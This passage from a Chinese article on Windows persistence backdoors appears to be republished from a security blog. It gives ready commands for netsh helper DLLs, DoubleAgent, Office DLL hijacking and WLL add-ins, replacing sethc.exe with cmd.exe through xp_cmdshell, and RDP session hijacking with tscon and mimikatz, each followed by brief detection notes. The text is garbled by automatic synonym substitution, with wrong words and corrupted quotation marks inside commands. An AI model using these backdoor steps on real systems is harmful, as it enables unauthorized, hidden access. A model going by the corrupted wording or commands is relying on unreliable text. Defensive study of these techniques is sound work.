netsh add helper c:\test\netshtest.dll
helper dll添加成功后,每次调用netsh,均会加载c:\test\netshtest.dll
检测及查杀
检讨:检讨注册表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh通过Process Explorer查看netsh进程加载的dll通过Process Monitor查看进程属性Event Properties打消:netsh delete helper c:\test\netshtest.dll在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh删除对应键值
DoubleAgent
该办法紧张是对微软系统自带的Application Verifier(运用程序考验器)进行利用
利用过程如下:
编写自定义Verifier provider DLL通过Application Verifier进行安装注入到目标进程实行payload每当目标进程启动,均会实行payload,相称于一个自启动的办法命令行添加:appverif /verify notepad.exe命令行删除:appverif /n notepad.exe
POC : https://github.com/Cybellum/DoubleAgent
检测及查杀
监控注册表键值HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File 查看c:\windows\system32\下有无可疑dll
Office
利用挟制系统的DLL,实行干系命令,同时可绕过Autoruns的后门检测。紧张有两种方法:
挟制office特定功能利用Office加载项挟制Office软件的特定功能
通过DLL挟制,在Office软件实行特定功能时触发后门
挟制Word-审阅-视图【管理员权限】:位于C:\Program Files\Common Files\microsoft shared\RRLoc14\LOCALSVC.DLL挟制word-插入-图片【TrustedInstaller权限】:位于C:\Program Files\Common Files\microsoft shared\ink\tiptsf.dll挟制word-文件-页面布局-主题-浏览主题【管理员权限】:位于C:\Program Files\Microsoft Office\Office14\2052\GrooveIntlResource.dll挟制Excel-插入-图片【管理员权限】:位于C:\Program Files\Common Files\microsoft shared\OFFICE14\MSPTLS.DLL利用Office加载项
Word WLLExcel XLLExcel VBA add-insPowerPoint VBA add-ins以word为例:
# 编译成calc.dll,重命名为calc.wll,保存在路径:C:\Users\Administrator\AppData\Roaming\Microsoft\Word\Startup(Startup路径可保存多个wll,支持启动多个wll),启动Word.exe,弹出打算器,并且word正常启动powershell下wll路径$env:APPDATA+\"大众\Microsoft\Word\Startup\calc.wll\"大众将编译好的calc.dll作base64加密并存储于变量中PowerShell> $fileContent = [System.IO.File]::ReadAllBytes('calc.dll')PowerShell> $fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content (\"大众calcdllbase64.txt\"大众) 用变量$fileContent存储base64加密的calc.dllPowerShell> $fileContent = \"大众$fileContentEncoded_payload\公众base64解密并开释calc.wll至Startup路径的代码如下:PowerShell> $fileContentBytes = [System.Convert]::FromBase64String($fileContent) [System.IO.File]::WriteAllBytes($env:APPDATA+\公众\Microsoft\Word\Startup\calc.wll\"大众,$fileContentBytes)# 详细参考:https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/
其他POC:https://github.com/3gstudent/Office-Persistence
检测及查杀
禁用所有加载项禁用所有控件禁用所有宏删除信赖位置:C:\Users\a\AppData\Roaming\Microsoft\Word\Startup\
shift后门
通过远程桌面连接到Windows后,在没有输入用户名和密码前,连接按5次Shift键,可以调用c:\windows\system32\sethc.exe,以是须要把c:\windows\system32\sethc.exe更换成其他的实行程序即可实行该程序。
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe /ycopy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe /yattrib c:\windows\system32\sethc.exe +hattrib c:\windows\system32\dllcache\sethc.exe +h# attrib +h是添加隐蔽属性
在windows xp过后,sethc组件属于完备受信用的用户TrustInstall,我们无法修正名字,这时候纵然administrators都只有名义上的只读和可实行权,我们可以手动修正其所属为administrators。
也可以利用命令,比如:利用MSSQL的xp_cmdshell
exec xp_cmdshell 'takeown /f c:\windows\system32\sethc. /a /r /d y'# 将所有者变动为管理员组(administrators)exec xp_cmdshell 'cacls c:\windows\system32\sethc.exe /T /E /G system:F'# 授予system完备掌握权限exec xp_cmdshell 'copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe /y'# 更换文件为cmd.exe
检测及查杀
1、检测c:\windows\system32\sethc.exe文件大小、韶光2、连按5次shift键
RDP会话挟制
RDP挟制大略的说便是在不知道另一账户密码的情形下直接切换到该用户会话下。
1、query user 查看做事器用户会话信息2、sc create sesshijack 创建一个sesshijack做事3、net start sesshijack 开启做事query usersc create sesshijack binpath= \公众cmd.exe /k tscon 1 /dest:rdp-tcp#4\公众# rdp-tcp#4为正在活动中的其他会话net start sesshijack
无凭据时的会话挟制技巧是Benjamin Delpy(Mimikatz作者)在2011年提到的,以是Mimikatz模块也集成了此项功能
mimikatz.exemimikatz # ts::sessionsmimikatz # ts::remote /id:4 (4表示会话ID)mimikatz # privilege::debugmimikatz # ts::remote /id:4
检测及查杀
1、利用可以记录这种攻击的工具,比如:Microsoft OMS, Windows Event Forwarding2、查找Mimikatz的干系依赖# 利用组策略来注销已断开的会话或者空闲的用户会话
other
.NET后渗透下的权限坚持:https://github.com/Ivan1ee/NetDLLSpy
密码记录:WinlogonHack、Gina
利用做事:sc create [ServerName] binPath= BinaryPathName
快捷办法后门:https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdoor/LNK_backdoor.ps1
。。。
感谢大佬们分享的文章,还有很多要学习的。
参考文章:
https://www.bodkin.ren/index.php/archives/431/
https://www.anquanke.com/post/id/171891
http://vinc.top/2015/09/15/metasploit-web-delivery/
https://kionf.com/2018/09/13/metasploit-presistence/
https://www.jianshu.com/p/0cfcbba813ac
https://blog.csdn.net/gaojinshan/article/details/8480185
http://www.atomsec.org/%E9%80%86%E5%90%91/appinit_dlls%E6%B3%A8%E5%86%8C%E8%A1%A8%E6%96%B9%E5%BC%8F%E6%B3%A8%E5%85%A5dll/
https://payloads.online/archivers/2018-10-14/1
https://github.com/wings27/blogs/blob/master/%E5%88%A9%E7%94%A8Windows%E6%98%A0%E5%83%8F%E5%8A%AB%E6%8C%81%E5%AE%9E%E7%8E%B0%E9%BB%98%E8%AE%A4%E7%A8%8B%E5%BA%8F%E7%9A%84%E6%9B%BF%E6%8D%A2.md
https://www.anquanke.com/post/id/151425
https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-maintain-persistence/
https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-CAccPropServicesClass-and-MMDeviceEnumerator/
https://3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-explorer.exe/
https://github.com/Ridter/Intranet_Penetration_Tips/blob/master/README.MD
https://www.4hou.com/system/5171.html
https://www.secpulse.com/archives/52053.html
https://www.secpulse.com/archives/39555.html
http://drops.xmd5.com/static/drops/tips-10346.html
http://drops.xmd5.com/static/drops/tips-8189.html
http://drops.xmd5.com/static/drops/tips-8290.html
http://drops.xmd5.com/static/drops/tips-8260.html
https://github.com/3gstudent/Office-Persistence
https://www.jianshu.com/p/4c1af7889e87
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F/
https://www.secpulse.com/archives/55476.html
https://www.freebuf.com/articles/web/180581.html
https://3gstudent.github.io/3gstudent.github.io/Use-msdtc-to-maintain-persistence/
作者:瓦都剋
欢迎来安全脉搏查看更多的干货文章和我们一起互换互动哦!
脉搏地址:安全脉搏 | 分享技能,悦享品质
微博地址:Sina Visitor System
【注:安全脉搏所有文章未经容许,回绝转载】